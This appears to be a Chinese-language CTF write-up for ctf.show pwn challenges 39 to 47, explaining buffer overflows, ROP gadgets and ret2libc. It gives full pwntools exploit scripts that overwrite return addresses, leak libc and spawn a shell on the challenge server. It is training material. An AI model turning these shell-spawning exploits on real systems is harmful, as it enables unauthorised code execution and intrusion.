1 2 3 4 5 6 7 8 9 10 11 12 #payload=[填充]+[system@plt]+[4bytes填充]+[参数] from pwn import * p = remote("pwn.challenge.ctf.show", "28113") offset = 0x12 + 0x4 system_addr = 0x080483A0 binsh_addr = 0x8048750 payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr) p.sendline(payload) p.interactive()
pwn40 64位的 system(); “/bin/sh” 1 2 3 4 5 6 7 8 9 10 11 from pwn import * p = remote("pwn.challenge.ctf.show","28227") offset = 0x0A + 0x8 system_addr = 0x602080 binsh_addr = 0x400808 payload = offset*b'a' + p64(system_addr)+b'aaaaaaaa'+p64(binsh_addr) p.sendline(payload) p.interactive()
本来以为也是改一改就可以的,,但是错了。。
ROPgadget 这里介绍一下ROPgadget工具,该工具可以绕过NX保护,在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
64位汇编传参,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时,前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
有的题,里面既没有现成的system也没有/bin/sh字符串,也没有提供libc.so给我们,那么我们要做的就是想办法泄露libc地址,拿到system函数和/bin/sh字符串;我们就需要获取rdi, rsi, rdx, rcx, r8, r9它们的地址,首先要获取的是rdi的地址。这就是 ROPgadget 的作用。
回到本题,下面利用ROPgadget获得rdi的地址
1 ROPgadget --binary pwn --only "pop|ret" | grep rdi
获取ret的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #payload=[填充]+[pop_rdi_ret]+[参数]+[system@plt] from pwn import * p = remote("pwn.challenge.ctf.show", "28151") offset = 0xA + 0x8 ret_addr = 0x00000000004004fe system_addr = 0x400520 binsh_addr = 0x400808 rdi_addr = 0x00000000004007e3 payload = offset * b'a' + p64(rdi_addr) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) #这里ret_addr的作用是作为一个8字节的间接跳转指令,用于绕过栈中的返回地址,以达到执行system函数的目的 p.sendline(payload) p.interactive()
1.pwn36-pwn38:完整后门&溢出长度大于等于ip。只要我们调用这个后门函数,不需要其他额外的操作就能getshell,通常是system(‘/bin/sh’),write(1,’flag’,32)等形式。
payload = [填充] + [get_shell_addr]
2.pwn39、wn40:残缺后门&溢出长度远大于ip。这里指的远大于ip,意思是可以溢出覆盖除了ip以外的2个以上的(一般情况,实际情况实际分析)机器字长。残缺后门的形式多种多样:提供诸如system等关键函数,flag、/bin/sh等字符串,某些gadget等。
1 2 payload=[填充]+[system@plt]+[4bit填充]+[参数] #32位 payload=[填充]+[pop_rdi_ret]+[参数]+[system@plt] #64位
原文链接:https://blog.csdn.net/weixin_63576152/article/details/132437169
pwn41 32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代 这里先介绍一下/bin/sh和/sh的区别:
system(“/bin/sh”) 是直接指定了系统默认的shell程序路径来执行命令,这种方式可以确保使用系统默认的shell程序执行命令,因为 /bin/sh 链接通常指向默认shell的可执行文件。 system(“sh”) 则会直接启动一个名为sh的shell程序,依赖系统的环境变量 $PATH 来查找 sh 可执行文件并执行。如果系统的环境变量设置正确,这两种方式是等效的;
1 2 3 4 5 6 7 8 9 10 11 from pwn import * p = remote('pwn.challenge.ctf.show','28297') offset = 0x12 + 0x4 system = 0x80483D0 sh = 0x80487BA payload = offset * b'a' + p32(system) + b'aaaa' + p32(sh) p.sendline(payload) p.interactive()
pwn42 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = remote('pwn.challenge.ctf.show','28235') offset = 0x0A + 0x8 system_addr = 0x400560 sh_addr = 0x400872 rdi_addr = 0x400843 ret_addr = 0x40053e payload = offset * b'a' + p64(rdi_addr) + p64(sh_addr) + p64(ret_addr) + p64(system_addr) p.sendline(payload) p.interactive()
pwn43 32位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 payload = [填充] + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system_addr) + [4bytes填充] +p32(buf2) #1.填充后溢出,执行gets函数,接收数据 #2.将数据从栈中弹出存入寄存器ebx中 #3.再用缓冲区指针buf2指向寄存器ebx的数据 #4.调用system函数,参数为buf2所指数据,即gets接收的数据 from pwn import * p = remote('pwn.challenge.ctf.show','28280') offset = 0x6c + 4 system_addr = 0x8048450 buf2 = 0x804B060 gets = 0x8048420 pop_ebx = 0x08048409 payload = offset * b'a' + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system_addr) + b'aaaa' +p32(buf2) p.sendline(payload) p.sendline("/bin/sh") p.interactive()
pwn44 64位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法
和上题一样,区别就是64位没有ebx寄存器,还需要用rdi代替,先找到地址
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * p = remote('pwn.challenge.ctf.show','28209') offset = 0xA + 8 system_addr = 0x400520 buf2 = 0x602080 gets = 0x400530 pop_rdi = 0x4007f3 payload = offset * b'a' + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system_addr) p.sendline(payload) p.sendline("/bin/sh") p.interactive()
1.利用 pop_rdi 指令将 buf2 的地址加载到rdi寄存器中,因为在调用gets函数之前,你需要将输入的缓冲区的地址(即buf2的地址)传递给gets函数,以便gets函数知道将输入数据存储在哪个缓冲区中 2.调用 gets 函数,以 buf2 的地址作为参数,从用户输入中读取数据,并将其存储在buf2中 3.再次利用 pop_rdi 指令将 buf2 的地址加载到rdi 寄存器中 4.调用 system 函数,以 buf2 的地址作为参数
pwn45 ret2libc ..。。打了一天没大通。算料。。
呃呃打通了。。。。(五分钟后觉得有问题。。
#正解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #right from pwn import * from LibcSearcher import * p = remote("pwn.challenge.ctf.show", "28187") elf = ELF("./pwn") offset = 0x6B + 0x4 main_addr = elf.symbols['main'] write_plt = elf.plt['write'] write_got = elf.got['write'] payload = offset * b'a' + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got)+ p32(4) p.recvuntil('O.o?') p.sendline(payload) write_addr = u32(p.recvuntil('\xf7')[-4:]) libc = LibcSearcher("write", write_addr) libc_base = write_addr - libc.dump("write") system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh") payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr) p.sendline(payload) p.recv() p.interactive()
pwn46 ?神奇,得先
1 2 3 checksec pwn readelf -s pwn objdump -R pwn
溜一遍?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import * from LibcSearcher import * context(arch = 'amd64',os = 'linux',log_level = 'debug') io = remote('pwn.challenge.ctf.show',28141) elf = ELF('./pwn') write_plt = elf.plt['write'] write_got = elf.got['write'] main = elf.sym['main'] pop_rdi = 0x400803 pop_rsi_r15 = 0x400801 payload = cyclic(0x70+8) + p64(pop_rdi) + p64(1) payload += p64(pop_rsi_r15) + p64(write_got) + p64(0) payload += p64(write_plt) payload += p64(main) io.sendlineafter("O.o?",payload) write = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) print hex(write) libc = LibcSearcher('write',write) libc_base = write - libc.dump('write') system = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh') payload = cyclic(0x70+8) + p64(pop_rdi) + p64(bin_sh) + p64(system) io.sendlineafter("O.o?",payload) io.interactive()
。。
ret2libc pwn47 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * from LibcSearcher import * context(arch = 'i386',os = 'linux',log_level = 'debug') #io = process('./pwn') io = remote('pwn.challenge.ctf.show',28200) elf = ELF('./pwn') io.recvuntil("puts: ") puts = eval(io.recvuntil("\n" , drop = True)) io.recvuntil("gift: ") bin_sh = eval(io.recvuntil("\n" , drop = True)) libc = LibcSearcher("puts" , puts) libc_base = puts - libc.dump("puts") system = libc_base + libc.dump("system") paylad = "a"*(0x9c+4) + p32(system) + p32(0) + p32(bin_sh) io.sendline(paylad) io.interactive()